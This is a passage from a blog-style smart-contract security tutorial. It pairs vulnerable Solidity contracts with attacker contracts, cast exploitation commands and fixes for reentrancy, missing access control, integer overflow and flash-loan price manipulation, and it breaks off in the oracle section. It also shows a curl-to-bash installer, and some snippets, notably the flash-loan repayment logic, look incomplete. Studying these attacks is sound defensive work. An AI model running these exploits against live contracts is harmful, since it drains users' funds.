Skip to main content

Smart Contract Hacking Notes

9572 words
Edwin | Shiro
Author
Edwin | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Smart Contract Hacking & Auditing Notes
#

These comprehensive notes guide you through smart contract vulnerabilities, detection methods, and exploitation techniques, with a focus on practical, executable commands and code snippets. Optimized for EVM-compatible blockchains (Ethereum, BSC, Polygon, Avalanche, Arbitrum, etc.).

Smart Contract Fundamentals
#

EVM (Ethereum Virtual Machine): The runtime environment for smart contracts. Contracts compile to EVM bytecode and execute in a deterministic, gas-metered environment.

Solidity: The dominant high-level language for writing smart contracts on EVM chains. Key versions: 0.7.x (vulnerable to overflows), 0.8.0+ (built-in overflow protection).

ABI (Application Binary Interface): JSON specification defining how to interact with a smart contract (function names, arguments, return types). Essential for calling contract functions.

Bytecode vs. Runtime Code:

  • Creation bytecode: Includes constructor logic, only runs once during deployment
  • Runtime bytecode: The actual contract code stored on-chain and executed for function calls

Gas Mechanics: Computation unit on EVM, paid in native cryptocurrency. Out-of-gas errors can be weaponized for DoS attacks.

Critical Address Concepts:

  • msg.sender: Immediate caller of the function (can be EOA or contract)
  • tx.origin: Original transaction initiator (always EOA)
  • Security Rule: Never use tx.origin for authentication—it’s vulnerable to proxy contract attacks

Storage Layout: Understanding how Solidity packs variables into 32-byte storage slots is crucial for proxy patterns and storage collision attacks.

Setup & Environment
#

Development Frameworks
#

Foundry (Recommended for Security Testing)#

Fast, Solidity-native framework with excellent testing and fuzzing capabilities.

Installation:

# Install Foundry
curl -L https://foundry.paradigm.xyz | bash
foundryup

# Verify installation
forge --version
cast --version
anvil --version

Project Setup:

# Create new project
forge init my-contract-audit
cd my-contract-audit

# Install dependencies (example: OpenZeppelin)
forge install OpenZeppelin/openzeppelin-contracts

# Add remappings in foundry.toml
echo '[profile.default]
src = "src"
out = "out"
libs = ["lib"]
remappings = ["@openzeppelin/=lib/openzeppelin-contracts/"]' > foundry.toml

Basic Commands:

# Compile contracts
forge build

# Run tests with different verbosity levels
forge test                    # Basic output
forge test -v                 # Show test results
forge test -vv                # Show logs
forge test -vvv               # Show stack traces
forge test -vvvv              # Show setup traces
forge test -vvvvv             # Show execution traces

# Run specific test
forge test --match-test testName

# Run tests in specific file
forge test --match-path test/MyTest.t.sol

# Start local blockchain
anvil                         # Default: 10 accounts, 10000 ETH each
anvil --accounts 20           # Custom account count
anvil --balance 1000          # Custom balance per account

Forking Mainnet for Testing:

# Fork mainnet (requires RPC URL)
anvil --fork-url https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY

# Fork specific block
anvil --fork-url https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY --fork-block-number 18500000

# Deploy to forked network
forge create --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 src/MyContract.sol:MyContract

Hardhat (JavaScript Alternative)
#

Popular JavaScript-based framework with extensive plugin ecosystem.

Setup:

# Initialize project
mkdir my-hardhat-project && cd my-hardhat-project
npm init -y
npm install --save-dev hardhat

# Create Hardhat project
npx hardhat init
# Choose: "Create a JavaScript project"

# Install additional dependencies
npm install --save-dev @nomiclabs/hardhat-ethers ethers @openzeppelin/contracts

Basic Commands:

# Compile contracts
npx hardhat compile

# Run tests
npx hardhat test
npx hardhat test --grep "specific test name"

# Start local network
npx hardhat node

# Deploy to local network
npx hardhat run scripts/deploy.js --network localhost

# Console interaction
npx hardhat console --network localhost

Analysis & Reconnaissance Tools
#

Blockchain Explorers
#

Etherscan and Forks:

Key Investigation Steps:

  1. Contract Page Navigation:

    Contract Address → "Contract" tab → "Read Contract"/"Write Contract"
    Check "Is this a proxy?" indicator
    Download verified source code
    
  2. Transaction Analysis:

    Recent transactions → Internal txns → Events logs
    Look for failed transactions (potential attack attempts)
    Analyze gas usage patterns
    
  3. Proxy Detection:

    # Check if contract is a proxy using cast
    cast call --rpc-url https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY CONTRACT_ADDRESS "implementation()(address)"
    
    # Check storage slot 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc (EIP-1967)
    cast storage --rpc-url https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY CONTRACT_ADDRESS 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    

Decompilers & Disassemblers
#

Online Tools:

  • Dedaub Contract Library: https://contract-library.dedaub.com/
    • Provides decompilation, storage analysis, and security insights
    • Usage: Paste contract address → Analyze bytecode and storage
  • EVM Codes: https://www.evm.codes/
    • EVM opcode reference and playground
    • Usage: Input bytecode for opcode-level analysis

Command-Line Tools:

Panoramix (Palkeoramix):

# Installation
pip3 install panoramix

# Decompile from bytecode
panoramix <contract_address> --web3 <rpc_url>

# Decompile from file
panoramix --code $(cat bytecode.txt)

heimdall-rs (Modern Ethereum Toolkit):

# Installation
cargo install heimdall-rs

# Decompile contract
heimdall decompile <contract_address> --rpc-url <rpc_url>

# Decode function signatures
heimdall decode <calldata> --target signature

Reconnaissance & Initial Analysis
#

Information Gathering Methodology
#

1. Target Identification:

# Find contract addresses from project documentation
# Check GitHub repos for deployed addresses
grep -r "0x[a-fA-F0-9]{40}" docs/ contracts/

# Search Etherscan by token symbol or project name
# Use DeFiPulse, DeFiLlama for DeFi projects

2. Contract Verification Status:

# Check if source code is verified (critical for auditing)
curl -s "https://api.etherscan.io/api?module=contract&action=getsourcecode&address=${CONTRACT_ADDRESS}&apikey=${ETHERSCAN_API_KEY}"

# Download verified source code
mkdir contract_source && cd contract_source
# Copy from Etherscan "Contract" tab or use API

3. Proxy Pattern Detection:

# Common proxy detection methods
cast call --rpc-url $RPC_URL $CONTRACT_ADDRESS "implementation()(address)"
cast call --rpc-url $RPC_URL $CONTRACT_ADDRESS "admin()(address)"
cast call --rpc-url $RPC_URL $CONTRACT_ADDRESS "owner()(address)"

# Check EIP-1967 storage slots
# Implementation slot
cast storage --rpc-url $RPC_URL $CONTRACT_ADDRESS 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc

# Admin slot  
cast storage --rpc-url $RPC_URL $CONTRACT_ADDRESS 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103

4. Access Control Analysis:

# Identify key roles and permissions
cast call --rpc-url $RPC_URL $CONTRACT_ADDRESS "hasRole(bytes32,address)(bool)" $ROLE_HASH $ADDRESS

# Check ownership
cast call --rpc-url $RPC_URL $CONTRACT_ADDRESS "owner()(address)"

# Look for multi-sig implementations
cast call --rpc-url $RPC_URL $CONTRACT_ADDRESS "getOwners()(address[])"

5. Asset and Balance Analysis:

# Check contract ETH balance
cast balance --rpc-url $RPC_URL $CONTRACT_ADDRESS

# Check ERC20 token balances
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "balanceOf(address)(uint256)" $CONTRACT_ADDRESS

# Total supply for tokens
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "totalSupply()(uint256)"

Static Analysis Checklist
#

Constructor Analysis:

  • Initial state configuration
  • Ownership setup
  • Critical parameter initialization
  • Missing zero-address checks

Function Visibility Review:

  • Public functions that should be internal/private
  • Missing access control modifiers
  • Dangerous external calls

State Variable Audit:

  • Proper initialization
  • Correct visibility (public/private)
  • Immutable vs. mutable classifications

Modifier Implementation:

  • Correct access control logic
  • Proper error messages
  • No reentrancy vulnerabilities in modifiers

Common Smart Contract Vulnerabilities & Exploitation
#

1. Reentrancy Attacks [HIGH SEVERITY]
#

Vulnerability Description: External calls to untrusted contracts before state updates allow attackers to recursively call back into the vulnerable function.

Detection Patterns:

// VULNERABLE PATTERN
function withdraw() external {
    uint amount = balances[msg.sender];
    (bool success,) = msg.sender.call{value: amount}(""); // External call first
    require(success);
    balances[msg.sender] = 0; // State update after call
}

Complete Exploitation Example:

Victim Contract (VulnerableBank.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;
    
    constructor() payable {
        // Initialize with some ETH for demonstration
    }
    
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");
        
        // VULNERABLE: External call before state update
        (bool success,) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        
        balances[msg.sender] = 0; // Too late!
    }
    
    function getContractBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Attacker Contract (ReentrancyAttacker.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IVulnerableBank {
    function deposit() external payable;
    function withdraw() external;
    function balances(address) external view returns (uint256);
}

contract ReentrancyAttacker {
    IVulnerableBank public immutable bank;
    uint256 private constant ATTACK_AMOUNT = 1 ether;
    
    constructor(address _bank) {
        bank = IVulnerableBank(_bank);
    }
    
    function attack() external payable {
        require(msg.value >= ATTACK_AMOUNT, "Need at least 1 ETH to attack");
        
        // Deposit minimal amount to establish balance
        bank.deposit{value: ATTACK_AMOUNT}();
        
        // Start the reentrancy attack
        bank.withdraw();
    }
    
    // This function is called when the bank sends ETH
    receive() external payable {
        // Continue attacking while the bank has funds
        if (address(bank).balance >= ATTACK_AMOUNT) {
            bank.withdraw();
        }
    }
    
    function getAttackerBalance() external view returns (uint256) {
        return address(this).balance;
    }
    
    function withdrawStolenFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Step-by-Step Exploitation:

  1. Environment Setup:
# Terminal 1: Start Anvil
anvil

# Terminal 2: Set environment variables
export RPC_URL="http://127.0.0.1:8545"
export DEPLOYER_KEY="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80"
export ATTACKER_KEY="0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d"
export DEPLOYER_ADDR="0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266"
export ATTACKER_ADDR="0x70997970C51812dc3A010C7d01b50e0d17dc79C8"
  1. Deploy Vulnerable Contract:
# Deploy with initial funds
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
  src/VulnerableBank.sol:VulnerableBank --value 10ether

# Note the deployed address
export BANK_ADDRESS="0x..." # Replace with actual address
  1. Deploy Attacker Contract:
forge create --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  src/ReentrancyAttacker.sol:ReentrancyAttacker $BANK_ADDRESS

export ATTACKER_CONTRACT="0x..." # Replace with actual address
  1. Execute Attack:
# Check initial bank balance
echo "Initial bank balance:"
cast call --rpc-url $RPC_URL $BANK_ADDRESS "getContractBalance()(uint256)"

# Execute the attack
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $ATTACKER_CONTRACT "attack()" --value 1ether

# Check post-attack balances
echo "Bank balance after attack:"
cast call --rpc-url $RPC_URL $BANK_ADDRESS "getContractBalance()(uint256)"

echo "Attacker balance:"
cast call --rpc-url $RPC_URL $ATTACKER_CONTRACT "getAttackerBalance()(uint256)"

Remediation Strategies:

1. Checks-Effects-Interactions Pattern:

function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");
    
    // Effects: Update state first
    balances[msg.sender] = 0;
    
    // Interactions: External calls last
    (bool success,) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

2. Reentrancy Guard:

// Using OpenZeppelin's ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    function withdraw() external nonReentrant {
        // Function logic here
    }
}

3. Custom Reentrancy Guard:

contract ManualReentrancyGuard {
    bool private locked;
    
    modifier noReentrancy() {
        require(!locked, "Reentrant call");
        locked = true;
        _;
        locked = false;
    }
    
    function withdraw() external noReentrancy {
        // Function logic here
    }
}

2. Access Control Vulnerabilities [HIGH SEVERITY]
#

Vulnerability Description: Insufficient or incorrect restrictions on who can execute sensitive functions, leading to unauthorized access to critical contract functionality.

Detection Patterns:

// VULNERABLE PATTERNS
function setPrice(uint256 _price) public { } // Missing access control

function transferOwnership(address newOwner) public { // Should be onlyOwner
    owner = newOwner;
}

function mint(address to, uint256 amount) external { // Missing role check
    _mint(to, amount);
}

Complete Exploitation Example:

Vulnerable Contract (InsecureToken.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract InsecureToken {
    mapping(address => uint256) public balances;
    uint256 public totalSupply;
    address public owner;
    uint256 public price = 1 ether; // Price per token
    
    constructor() {
        owner = msg.sender;
        totalSupply = 1000000 * 1e18;
        balances[owner] = totalSupply;
    }
    
    // VULNERABLE: Missing onlyOwner modifier
    function setPrice(uint256 _newPrice) public {
        price = _newPrice;
    }
    
    // VULNERABLE: Missing access control
    function mint(address _to, uint256 _amount) public {
        balances[_to] += _amount;
        totalSupply += _amount;
    }
    
    // VULNERABLE: Can transfer ownership to anyone
    function transferOwnership(address _newOwner) public {
        require(msg.sender == owner, "Only owner");
        owner = _newOwner; // No validation or two-step process
    }
    
    function buyTokens() external payable {
        require(msg.value >= price, "Insufficient payment");
        uint256 tokens = msg.value / price;
        balances[msg.sender] += tokens;
    }
    
    function getBalance(address _user) external view returns (uint256) {
        return balances[_user];
    }
}

Step-by-Step Exploitation:

  1. Deploy Contract:
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
  src/InsecureToken.sol:InsecureToken

export TOKEN_ADDRESS="0x..." # Replace with actual address
  1. Exploit 1: Price Manipulation
# Check current price (1 ETH)
echo "Current price:"
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "price()(uint256)"

# Attacker sets price to nearly zero
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $TOKEN_ADDRESS "setPrice(uint256)" 1000000000000000 # 0.001 ETH

# Verify price change
echo "New price set by attacker:"
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "price()(uint256)"

# Buy tokens at manipulated price
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $TOKEN_ADDRESS "buyTokens()" --value 0.001ether

echo "Attacker token balance:"
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "getBalance(address)(uint256)" $ATTACKER_ADDR
  1. Exploit 2: Unauthorized Minting
# Check attacker's balance before minting
echo "Attacker balance before mint:"
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "getBalance(address)(uint256)" $ATTACKER_ADDR

# Mint tokens to attacker (should require authorization)
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $TOKEN_ADDRESS "mint(address,uint256)" $ATTACKER_ADDR 1000000000000000000000000

echo "Attacker balance after unauthorized mint:"
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "getBalance(address)(uint256)" $ATTACKER_ADDR

echo "Total supply after mint:"
cast call --rpc-url $RPC_URL $TOKEN_ADDRESS "totalSupply()(uint256)"

Remediation Strategies:

1. Proper Access Control with OpenZeppelin:

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

contract SecureToken is Ownable, AccessControl {
    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
    bytes32 public constant PRICE_SETTER_ROLE = keccak256("PRICE_SETTER_ROLE");
    
    constructor() {
        _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _grantRole(MINTER_ROLE, msg.sender);
        _grantRole(PRICE_SETTER_ROLE, msg.sender);
    }
    
    function setPrice(uint256 _newPrice) public onlyRole(PRICE_SETTER_ROLE) {
        require(_newPrice > 0, "Price must be positive");
        price = _newPrice;
    }
    
    function mint(address _to, uint256 _amount) public onlyRole(MINTER_ROLE) {
        require(_to != address(0), "Cannot mint to zero address");
        balances[_to] += _amount;
        totalSupply += _amount;
    }
}

2. Two-Step Ownership Transfer:

import "@openzeppelin/contracts/access/Ownable2Step.sol";

contract SecureContract is Ownable2Step {
    // Ownership transfer now requires acceptance from new owner
}

3. Integer Overflow/Underflow [MEDIUM-HIGH SEVERITY]
#

Vulnerability Description: Arithmetic operations that exceed variable type limits, causing unexpected behavior. While Solidity 0.8.0+ has built-in protection, unchecked blocks and older versions remain vulnerable.

Detection Patterns:

// VULNERABLE in Solidity < 0.8.0
function transfer(uint256 amount) external {
    balances[msg.sender] -= amount; // Can underflow
    balances[recipient] += amount;   // Can overflow
}

// VULNERABLE in Solidity >= 0.8.0 with unchecked
function dangerousCalculation(uint256 a, uint256 b) external {
    unchecked {
        uint256 result = a - b; // Can underflow silently
    }
}

Complete Exploitation Example:

Vulnerable Contract (OverflowToken.sol) - Solidity 0.7.6:

// SPDX-License-Identifier: MIT
pragma solidity 0.7.6; // Vulnerable version

contract OverflowToken {
    mapping(address => uint256) public balances;
    uint256 public totalSupply;
    
    constructor(uint256 _initialSupply) {
        totalSupply = _initialSupply;
        balances[msg.sender] = _initialSupply;
    }
    
    function transfer(address _to, uint256 _amount) external returns (bool) {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        
        // VULNERABLE: Can overflow/underflow in 0.7.6
        balances[msg.sender] -= _amount;
        balances[_to] += _amount;
        
        return true;
    }
    
    // VULNERABLE: Batch operation without SafeMath
    function batchTransfer(address[] calldata recipients, uint256[] calldata amounts) external {
        require(recipients.length == amounts.length, "Array length mismatch");
        
        uint256 totalAmount = 0;
        for (uint256 i = 0; i < amounts.length; i++) {
            totalAmount += amounts[i]; // Can overflow
        }
        
        require(balances[msg.sender] >= totalAmount, "Insufficient balance");
        
        for (uint256 i = 0; i < recipients.length; i++) {
            balances[msg.sender] -= amounts[i];
            balances[recipients[i]] += amounts[i];
        }
    }
    
    // Vulnerable fee calculation
    function transferWithFee(address _to, uint256 _amount, uint256 _feePercent) external {
        uint256 fee = (_amount * _feePercent) / 100; // Can overflow
        uint256 netAmount = _amount - fee; // Can underflow
        
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        
        balances[msg.sender] -= _amount;
        balances[_to] += netAmount;
        balances[address(this)] += fee;
    }
}

Step-by-Step Exploitation:

  1. Compilation Setup for Older Solidity:
# Create foundry.toml for multiple Solidity versions
cat > foundry.toml << EOF
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
solc_version = "0.7.6"
optimizer = true
optimizer_runs = 200

[profile.modern]
solc_version = "0.8.19"
EOF
  1. Deploy Vulnerable Contract:
# Compile with 0.7.6
forge build --use 0.7.6

# Deploy
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
  src/OverflowToken.sol:OverflowToken 1000000000000000000000000

export OVERFLOW_TOKEN="0x..." # Replace with actual address
  1. Exploit 1: Integer Overflow in Batch Transfer:
# Create attack contract or use cast for simple overflow
# This demonstrates overflow in totalAmount calculation

# Set up attack parameters (amounts that sum to overflow)
LARGE_AMOUNT="115792089237316195423570985008687907853269984665640564039457584007913129639935"

# Create batch transfer that overflows
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $OVERFLOW_TOKEN "batchTransfer(address[],uint256[])" \
  "[$ATTACKER_ADDR,$DEPLOYER_ADDR]" \
  "[$LARGE_AMOUNT,1]"
  1. Exploit 2: Underflow Attack:
// Attacker contract for more complex underflow
contract UnderflowAttacker {
    OverflowToken public token;
    
    constructor(address _token) {
        token = OverflowToken(_token);
    }
    
    function underflowAttack() external {
        // If attacker has 0 balance, try to transfer 1 token
        // This will underflow balances[attacker] to max uint256
        token.transfer(msg.sender, 1);
    }
}

Remediation Strategies:

1. Use SafeMath for Solidity < 0.8.0:

pragma solidity 0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";

contract SecureToken {
    using SafeMath for uint256;
    
    function transfer(address _to, uint256 _amount) external returns (bool) {
        balances[msg.sender] = balances[msg.sender].sub(_amount);
        balances[_to] = balances[_to].add(_amount);
        return true;
    }
}

2. Upgrade to Solidity 0.8.0+ (Recommended):

pragma solidity ^0.8.0;

contract ModernSecureToken {
    function transfer(address _to, uint256 _amount) external returns (bool) {
        // Built-in overflow/underflow protection
        balances[msg.sender] -= _amount; // Reverts on underflow
        balances[_to] += _amount;        // Reverts on overflow
        return true;
    }
}

3. Careful Use of Unchecked Blocks:

function efficientIncrement(uint256 i) external pure returns (uint256) {
    // Only use unchecked when you're certain no overflow can occur
    unchecked {
        return i + 1; // Only safe if i < type(uint256).max
    }
}

4. Flash Loan Attacks [HIGH SEVERITY]
#

Vulnerability Description: Exploiting protocols using flash loans to manipulate prices, drain liquidity, or exploit business logic vulnerabilities that depend on instant large capital movements.

Detection Patterns:

  • Single-source price oracles (especially AMM spot prices)
  • Logic dependent on token ratios or reserves
  • Liquidation mechanisms using manipulable price feeds
  • Governance tokens with immediate voting power

Complete Exploitation Example:

Vulnerable DeFi Protocol (VulnerableVault.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

// Simplified Uniswap-like pair interface
interface ISimplePair {
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function token0() external view returns (address);
    function token1() external view returns (address);
}

contract VulnerableVault {
    IERC20 public immutable token;
    ISimplePair public immutable pricePair; // Used for price oracle
    
    mapping(address => uint256) public deposits;
    uint256 public totalDeposits;
    
    constructor(address _token, address _pricePair) {
        token = IERC20(_token);
        pricePair = ISimplePair(_pricePair);
    }
    
    function deposit(uint256 amount) external {
        token.transferFrom(msg.sender, address(this), amount);
        deposits[msg.sender] += amount;
        totalDeposits += amount;
    }
    
    // VULNERABLE: Uses spot price from AMM
    function getTokenPrice() public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1) = pricePair.getReserves();
        
        if (pricePair.token0() == address(token)) {
            return (uint256(reserve1) * 1e18) / uint256(reserve0);
        } else {
            return (uint256(reserve0) * 1e18) / uint256(reserve1);
        }
    }
    
    // VULNERABLE: Withdrawal based on manipulable price
    function emergencyWithdraw() external {
        uint256 userDeposit = deposits[msg.sender];
        require(userDeposit > 0, "No deposit");
        
        uint256 currentPrice = getTokenPrice();
        // If price drops below threshold, allow emergency withdraw with bonus
        if (currentPrice < 0.5e18) { // 50% of initial price
            uint256 bonus = userDeposit / 10; // 10% bonus
            uint256 totalWithdraw = userDeposit + bonus;
            
            deposits[msg.sender] = 0;
            totalDeposits -= userDeposit;
            
            token.transfer(msg.sender, totalWithdraw);
        } else {
            revert("Emergency conditions not met");
        }
    }
}

// Flash loan provider interface (simplified Uniswap V2 style)
interface IFlashLoanProvider {
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

contract FlashLoanAttacker {
    VulnerableVault public immutable vault;
    ISimplePair public immutable pair;
    IFlashLoanProvider public immutable flashLoanProvider;
    IERC20 public immutable targetToken;
    IERC20 public immutable otherToken;
    
    uint256 private constant DEPOSIT_AMOUNT = 100e18;
    
    constructor(
        address _vault,
        address _pair,
        address _flashLoanProvider,
        address _targetToken,
        address _otherToken
    ) {
        vault = VulnerableVault(_vault);
        pair = ISimplePair(_pair);
        flashLoanProvider = IFlashLoanProvider(_flashLoanProvider);
        targetToken = IERC20(_targetToken);
        otherToken = IERC20(_otherToken);
    }
    
    function attack() external {
        // Step 1: Make a legitimate deposit first
        targetToken.transferFrom(msg.sender, address(this), DEPOSIT_AMOUNT);
        targetToken.approve(address(vault), DEPOSIT_AMOUNT);
        vault.deposit(DEPOSIT_AMOUNT);
        
        // Step 2: Initiate flash loan to manipulate price
        // Borrow a large amount of the other token to dump target token price
        uint256 flashAmount = otherToken.balanceOf(address(pair)) / 2;
        
        // The flash loan callback will be triggered
        flashLoanProvider.swap(0, flashAmount, address(this), abi.encode(flashAmount));
    }
    
    // Flash loan callback - this is where the manipulation happens
    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
        require(msg.sender == address(flashLoanProvider), "Only flash loan provider");
        
        uint256 flashAmount = abi.decode(data, (uint256));
        
        // Step 3: Use borrowed tokens to manipulate price
        // Swap all borrowed otherToken for targetToken, crashing targetToken price
        uint256 otherTokenBalance = otherToken.balanceOf(address(this));
        otherToken.approve(address(pair), otherTokenBalance);
        
        // Calculate how much targetToken we'll get (this will crash the price)
        (uint112 reserve0, uint112 reserve1) = pair.getReserves();
        uint256 targetTokenOut;
        
        if (pair.token0() == address(targetToken)) {
            targetTokenOut = (otherTokenBalance * reserve0) / (reserve1 + otherTokenBalance);
        } else {
            targetTokenOut = (otherTokenBalance * reserve1) / (reserve0 + otherTokenBalance);
        }
        
        // Execute the swap that crashes the price
        if (pair.token0() == address(targetToken)) {
            pair.swap(targetTokenOut, 0, address(this), "");
        } else {
            pair.swap(0, targetTokenOut, address(this), "");
        }
        
        // Step 4: Now exploit the vault at crashed price
        vault.emergencyWithdraw();
        
        // Step 5: Reverse the price manipulation
        // Swap back some targetToken to restore price and repay flash loan
        uint256 targetTokenBalance = targetToken.balanceOf(address(this));
        uint256 repayAmount = flashAmount + (flashAmount * 3 / 1000); // 0.3% fee
        
        // Calculate how much targetToken to swap back
        uint256 targetTokenToSwap = (repayAmount * targetTokenBalance) / otherToken.balanceOf(address(this));
        targetToken.approve(address(pair), targetTokenToSwap);
        
        if (pair.token0() == address(targetToken)) {
            pair.swap(0, repayAmount, address(this), "");
        } else {
            pair.swap(repayAmount, 0, address(this), "");
        }
        
        // Step 6: Repay flash loan
        otherToken.transfer(address(flashLoanProvider), repayAmount);
    }
    
    function withdrawProfits() external {
        targetToken.transfer(msg.sender, targetToken.balanceOf(address(this)));
        otherToken.transfer(msg.sender, otherToken.balanceOf(address(this)));
    }
}

Step-by-Step Flash Loan Attack Execution:

  1. Environment Setup with Mainnet Fork:
# Fork Ethereum mainnet to access real DEX liquidity
anvil --fork-url https://eth-mainnet.alchemyapi.io/v2/YOUR_API_KEY \
      --fork-block-number 18500000

# Set environment variables
export RPC_URL="http://127.0.0.1:8545"
export DEPLOYER_KEY="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80"
export ATTACKER_KEY="0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d"

# Use real token addresses (example: USDC/ETH pair)
export TARGET_TOKEN="0xA0b86a33E6417c7e3c3C8F4b8ba7b1Cb2D6eE7dF" # Example token
export OTHER_TOKEN="0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"   # WETH
export PAIR_ADDRESS="0x..." # Uniswap V2 pair address
  1. Deploy Vulnerable Vault:
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
  src/VulnerableVault.sol:VulnerableVault $TARGET_TOKEN $PAIR_ADDRESS

export VAULT_ADDRESS="0x..."
  1. Deploy Attacker Contract:
forge create --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  src/FlashLoanAttacker.sol:FlashLoanAttacker \
  $VAULT_ADDRESS $PAIR_ADDRESS $PAIR_ADDRESS $TARGET_TOKEN $OTHER_TOKEN

export ATTACKER_CONTRACT="0x..."
  1. Execute Flash Loan Attack:
# Fund attacker with initial tokens
cast send --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
  $TARGET_TOKEN "transfer(address,uint256)" $ATTACKER_ADDR 1000000000000000000000

# Approve attacker contract to spend tokens
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $TARGET_TOKEN "approve(address,uint256)" $ATTACKER_CONTRACT 1000000000000000000000

# Execute the attack
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $ATTACKER_CONTRACT "attack()"

# Check profits
cast call --rpc-url $RPC_URL $ATTACKER_CONTRACT "withdrawProfits()"

Remediation Strategies:

1. Use Time-Weighted Average Price (TWAP) Oracles:

import "@uniswap/v2-periphery/contracts/libraries/UniswapV2OracleLibrary.sol";

contract SecureVault {
    uint32 private constant PERIOD = 3600; // 1 hour TWAP
    
    function getSecurePrice() public view returns (uint256) {
        uint32 blockTimestamp = uint32(block.timestamp % 2**32);
        uint32 timeElapsed = blockTimestamp - blockTimestampLast;
        
        if (timeElapsed >= PERIOD) {
            // Calculate TWAP over the period
            return UniswapV2OracleLibrary.consult(pair, PERIOD);
        } else {
            revert("TWAP period not elapsed");
        }
    }
}

2. Use Chainlink Price Feeds:

import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";

contract ChainlinkSecureVault {
    AggregatorV3Interface internal priceFeed;
    
    constructor() {
        priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419); // ETH/USD
    }
    
    function getLatestPrice() public view returns (int) {
        (
            uint80 roundID, 
            int price,
            uint startedAt,
            uint timeStamp,
            uint80 answeredInRound
        ) = priceFeed.latestRoundData();
        
        require(timeStamp > 0, "Round not complete");
        require(block.timestamp - timeStamp < 3600, "Price too stale"); // 1 hour staleness check
        
        return price;
    }
}

3. Implement Circuit Breakers:

contract CircuitBreakerVault {
    uint256 private lastPrice;
    uint256 private constant MAX_PRICE_DEVIATION = 10; // 10%
    
    function updatePrice() external {
        uint256 newPrice = getOraclePrice();
        
        if (lastPrice > 0) {
            uint256 priceChange = newPrice > lastPrice 
                ? ((newPrice - lastPrice) * 100) / lastPrice
                : ((lastPrice - newPrice) * 100) / lastPrice;
                
            require(priceChange <= MAX_PRICE_DEVIATION, "Price change too large");
        }
        
        lastPrice = newPrice;
    }
}

5. Oracle Manipulation [HIGH SEVERITY]
#

Vulnerability Description: Exploiting or manipulating external data sources that smart contracts rely on for critical decisions, particularly price feeds from DEXs or centralized oracles.

Detection Patterns:

  • Single oracle dependency
  • Direct use of AMM reserves for pricing
  • No staleness checks on price data
  • Lack of price deviation protection

Complete Exploitation Example:

Vulnerable Lending Protocol (OracleVulnerableLending.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

